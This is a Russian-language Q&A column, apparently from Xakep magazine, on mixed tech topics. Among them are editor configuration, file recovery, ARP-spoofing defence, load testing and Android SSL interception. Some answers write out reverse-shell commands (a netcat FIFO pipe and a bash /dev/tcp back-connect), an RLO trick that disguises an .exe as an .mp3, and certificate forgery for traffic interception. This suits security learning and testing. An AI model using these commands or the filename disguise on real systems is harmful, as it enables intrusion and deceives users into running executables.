Q: Иногда приходится редактировать код в различных редакторах и IDE, где нужно каждый раз перенастраивать форматирование кода. Как можно облегчить такой переход?
A: Большинство современных IDE и редакторов кода позволяют настраивать так называемую индентацию, то есть параметры, определяющие тип и размеры отступов, используемых при форматировании. Но при переносе в другой редактор с другими настройками индентации придется либо их менять, либо переформатировать весь код в соответствии с установленными правилами. К счастью, для избавления от подобного рода неприятностей существует специальное средство — EditorConfig. Это набор плагинов и расширений, доступных на данный момент, для почти десятка популярных средств разработки, от всеми любимых Notepad++ и Sublime Text 2 до классических Emacs и Visual Studio. Унифицированный стиль форматирования считывается из конфигурационного файла .editorconfig. По аналогии с .htaccess, используемым веб-сервером Apache, он располагается в директории с редактируемыми файлами либо выше по дереву каталогов. Для каждого типа файлов можно задать свой собственный стиль, определив соответствующую секцию. Набор задаваемых параметров невелик, но более чем достаточен.
Пример определения для пайтон-сценариев:
;ограничиваем поиск конфига \
выше по дереву каталогов
root = true
;начало секции с определением типа
[*.py]
;задаем индентацию пробелами
indent_style = space
;количество пробелов в инденте
indent_size = 4
;задаем символ переноса строки
end_of_line = LF
Q: Есть ли способ в Linux использовать Netcat, скомпилированный без поддержки флагов '-e' и '-c', для организации удаленного шелла?
A: Netcat не зря называют швейцарским армейским ножом для работы с TCP/IP. С его помощью можно и порт открыть, и направить ввод-вывод командного интерпретатора в сокет — а что еще нужно для управления системой? 😉 Но часто в дистрибутивах встречается более безопасная модификация с «затупленным лезвием» — отсутствием возможности запустить приложение или команду и повесить его на открытый порт. Что ж, едва ли это сможет нам помешать. Аналогичный результат можно получить, воспользовавшись стандартными юниксовыми пайпами. Объединим ввод и вывод Netcat и bash не напрямую, а через созданный FIFO-файл. Эквивалент для
nc -e /bin/bash 192.168.1.13 1337
выглядит следующим образом:
КОД
mkfifo pipe; \
cat pipe|/bin/bash| \
nc 192.168.1.13 1337 >pipe; \
rm pipe
Если bash собран с поддержкой сетевых перенаправлений, то можно обойтись вовсе без Netcat, воспользовавшись виртуальным устройством для работы с TCP, «/dev/tcp».
Бэк-коннект обретет следующий вид:
/bin/bash -i > \
/dev/tcp/192.168.1.13/1337 \
0<&1 2>&1
Восстановление данных
Q: В процессе восстановления с поврежденного носителя удалось спасти некоторое количество бинарных файлов, но имена с расширениями восстановить не удалось. Можно ли теперь выяснить хотя бы типы файлов?
A: Бывает, как в этом случае, что результатом работы средств восстановления данных действительно является множество обезличенных бинарных файлов, и далеко не о всех, воспользовавшись Hex-редактором, с уверенностью можно сказать, что именно представляет собой этот набор байт. В подобной ситуации может оказаться полезной утилита FiletypeID. Имея в своей базе около 4720 различных сигнатур, она довольно шустро предложит для указанного файла несколько наиболее вероятных вариантов его содержимого. Например, на скриншоте можно видеть результат с вероятностью 50/50, что абсолютно верно, так как исследуемый файл — не что иное, как так называемый толстый эльф (Fat elf), содержащий в себе раздельные секции кода, скомпилированного под различные платформы.
Q: Посоветуйте, с помощью чего под Windows можно защититься от атак типа ARP-poisoning?
A: Действительно, относительная простота реализации и обилие доступного софта для проведения MITM-атак не может не наталкивать на размышления о собственной безопасности. Для обнаружения и предотвращения попыток отравления ARP-кеша существует достаточно решений — от скриптов на VBS до аппаратных систем предотвращения вторжений. Для рядового повседневного использования хочется порекомендовать замечательные утилиты DecaffeinatID и ARPFreeze. Оба инструмента были написаны небезызвестным Irongeek’ом для личного использования и не содержат ничего лишнего. Первая представляет собой легковесную IDS, функционал которой заключается в наблюдении за изменениями в ARP-таблице, системным журналом безопасности (главным образом для информирования о попытках параллельного входа в систему) и журналом брандмауэра. О возможной опасности нам сообщит ненавязчивая всплывающая подсказка с подробной информацией. ARPFreeze же, являясь по сути GUI-фронтендом для консольных netsh и ARP, прекрасно дополняет DecaffeinatID возможностью быстрого переключения статического и динамического типов для соответствий IP- и MAC-адресов. Таким образом, контролируя с их помощью состояние ARP-таблицы, можно значительно уменьшить вероятность сценария, в котором именно ты являешься жертвой «человека посередине».
Q: Есть ли способ загружать Android-приложения из Google Play прямо на ПК?
A: Вполне резонное желание — получать приложения непосредственно на рабочий компьютер для, например, последующего реверсинга, минуя операции скачивания на мобильное устройство и последующий экспорт apk-файлов. И способ такого скачивания приложений, конечно, есть! 🙂 Заключается он в эмуляции мобильного клиента при помощи браузерного плагина для Chrome под названием APK Downloader. К сожалению, совсем без мобильного устройства не обойтись, для успешной авторизации в сервисе магазина потребуется аккаунт, привязанный к какому-то конкретному девайсу. В частности, для работы, помимо связки логин/пароль, необходимо предоставить шестнадцатизначный Device ID, назначаемый сервером при создании новой учетной записи. Узнать его можно при помощи одноименного приложения Device ID, бесплатно доступного в Google Play. Установив расширение и указав авторизационные данные, мы получаем возможность безнаказанной загрузки apk-файлов со страниц каталога приложений, посредством пары кликов в контекстном меню, появляющемся в адресной строке.
Q: Как скрыть расширение файла от пользователя в проводнике Windows, если включено его отображение?
A: По умолчанию в Windows отключено отображение расширений для известных типов файлов, и достаточно ограничиться изменением иконки исполняемого файла. Если же бдительный пользователь включил отображение, то для маскировки бросающегося в глаза завершения имени «.exe» можно воспользоваться старым, но не теряющим актуальности трюком с использованием специального непечатного юникод-символа реверсирования строки справа (RIGHT-TO-LEFT OVERRIDE). Этот «волшебный символ» дает обрабатывающей программе понять, что весь последующий текст до окончания строки следует отобразить в обратном порядке. Например, назовем наш файл
justafile3pm.exe
И добавим юникод-символ u\202e между «e» и «3». Для ОС файл по-прежнему оканчивается на «.exe», но при отображении в проводнике окончание реверсируется, и нашему взгляду предстает много менее подозрительное на вид
justafileexe.mp3
Произвести RLO-инъекцию можно, скопировав из таблицы символов нужный нам U+202E: Right-To-Left Override.
Q: Как можно перехватывать и изменять на лету пакеты на уровне TCP?
A: При анализе бинарных протоколов полезно помимо простого сниффера иметь под рукой инструмент, позволяющий, например, изменить в режиме реального времени несколько байт в TCP-data и посмотреть, на что повлияли изменения. Для этого как нельзя лучше подходит тулза под названием Matasano Port Forwarding Interceptor, которую ты сможешь обнаружить на диске к журналу. Написанный на пайтоне, PFI реализует проброс TCP-порта на указанный сервер. При запуске задаются локальные и удаленные IP-адреса и порты, и все, что остается сделать, — направить трафик через нашу утилиту. Нехитрый интерфейс отображает лог принятых/отправленных пакетов и область редактирования TCP-данных. Приятным дополнением является возможность подключения собственного обработчика пробрасываемых пакетов, что значительно расширяет круг применения. Например, при необходимости можно быстро набросать плагин, автоматически заменяющий определенные байты по регулярному выражению или логирующий декодированные данные из потока.
Хакер #163. Лучшие гаджеты для хакера
Q: Расскажите про технологию HDMI HEC.
A: Технология HEC (HDMI Ethernet Channell), поддержка которой была заявлена в спецификации не такого уж нового, но все еще актуального стандарта HDMI 1.4, впервые была упомянута в далеком 2009 году. Технология была создана для реализации сетевого взаимодействия при помощи одного только HDMI-кабеля (разумеется, в качестве дополнения к его основному функционалу).
Разработчики стремились сократить количество проводов, обвивающих современные медиаустройства. С этой целью в новую версию включили еще одну экранированную витую пару, которую задействовали для Fast Ethernet со стандартной скоростью передачи данных 100 Мб/с в режиме full duplex. Идея не то чтобы революционная, но весьма перспективная, ведь беспроводные каналы все еще медленны и дороги. К сожалению, на данный момент из оборудования с поддержкой HEC серийно выпускаются лишь многочисленные вариации кабелей, отвечающих требованиям HDMI 1.4. Нам же остается ждать появления устройств с его поддержкой.
Q: Как повысить эффективность поиска уязвимостей типа DOMXss?
A: Напомню, что DOMXss — это одна из разновидностей межсайтового скриптинга, которая реализуется за счет внедрения кода в параметры, обрабатываемые на стороне клиента с использованием объектной модели документа. То есть вредоносный код может быть выполнен, даже если в серверной части должным образом настроена фильтрация спецсимволов. При поиске уязвимостей такого типа пригодится расширение для Firefox с говорящим названием DOMinator. Плагин анализирует код загруженного в браузере документа и предоставляет возможность проследить путь взаимодействия скриптов со значениями подверженных инъекции параметров.
Q: Чем можно протестировать веб-сервер на устойчивость к высоким нагрузкам?
A: Ввиду популярности в наш век DDoS-атак, стресс-тестирование должно быть неотъемлемой частью введения в строй любого мало-мальски серьезного веб-проекта. Такое тестирование позволяет обнаружить слабости системы, проявляющиеся, например, при аномально большом количестве запросов. Для тестирования нагрузкой, конечно же, создано немало различных утилит, но классика есть классика. Имя этой классике — ApacheBench (ab). Скромная консольная утилита входит в комплект программного обеспечения, поставляемого с самим веб-сервером Apache. Как и большинство подобного софта, ab генерирует запросы по указанному URL и, опираясь на время, через которое приходят ответы, предоставляет по завершении достаточно подробную статистику. В простейшем случае нужно при запуске указать количество запросов в тесте и тестируемый URL.
ab -n 10000 https://myservice.tst/myscript.php
Опционально можно задать параметры отсылаемых запросов на любой вкус и цвет. Среди настраиваемых параметров: количество параллельно посылаемых запросов, данные для HTTP-аутентификации, дополнительные поля HTTP-заголовка, данные, передаваемые методами POST или PUT. Также возможно форсирование использования определенных SSL-протокола (SSL2, SSL3, TLS1) и алгоритма шифрования.
"5 шагов": Как проще всего анализировать HTTP-взаимодействие приложения под Android, если соединение устанавливается с использованием SSL?
Сетевое взаимодействие мобильного приложения с серверной частью, как правило, наиболее уязвимое звено на пути информации от пользователя к сервису, что делает перехват трафика с целью изучения весьма привлекательным. Как и для анализа любого другого основанного на HTTP взаимодействия, нам идеально подойдет уже упоминавшаяся в прошлых номерах утилита Burp Suite и понадобится еще несколько инструментов.
- Прокси Для начала пустим трафик через наш хост с запущенным Burp’ом. В настройках (вкладка «Proxy -> Options») убеждаемся, что порт открыт для подключений не только на loopback-интерфейсе, а также выставляем опцию Generate CA-signed per-host certificates. На мобильном устройстве потребуется установить проксификатор, например ProxyDroid (бесплатно доступен в Google Play), и настроить его для работы с нашим хостом для перехвата.
- Генерация сертификатов. Мобильное приложение может проверять на соответствие имя хоста, которое запрашивается, и имя в сертификате. Burp Suite же генерирует сертификаты для IP-адресов в качестве имени хоста. Так что если такая проверка имеется, то смотрим, по какому доменному имени приложение обращается к серверу, и, используя опцию Generate a CA-signed certificate with a specific hostname, получаем сертификаты.
- Экспорт сертификатов Наиболее простой способ получения сертификатов таков. Используя Internet Explorer с настроенным прокси, смотрящим на Burp, обращаемся по доменному имени к серверу мобильного приложения. Отвергаем предложение прекратить небезопасное путешествие в интернет и, кликнув по иконке «Ошибка сертификата», выбираем пункт меню «Просмотр сертификата». На вкладке «Состав» вызываем мастер экспорта кнопкой «Копировать в файл» и, следуя инструкциям, получаем сертификат для нужного хоста. Такую же процедуру нужно провести для экспорта корневого сертификата на вкладке «Путь сертификации».
- Импорт сертификатов Теперь, когда мы располагаем всеми необходимыми для создания иллюзии защищенности канала сертификатами, настало время импортировать их в мобильное устройство, чтобы мобильное приложение использовало их для взаимодействия с нашим прокси. Для этого скопируем полученные cer-файлы в корень SD-карты устройства. В настройках в подменю «Location & Security» активируем пункт «Install from SD card» и поочередно добавляем сертификаты.
- ...Profit! Прокси запущен, проксификатор настроен, поддельные сертификаты импортированы в устройство. Можно смело запускать приложение, и, когда ему потребуется что-либо отправить на сервер, во вкладке «Proxy» Burp Suitе’а мы сможем сколь угодно манипулировать только что расшифрованными при помощи поддельного и еще не зашифрованными при помощи настоящего сертификата данными.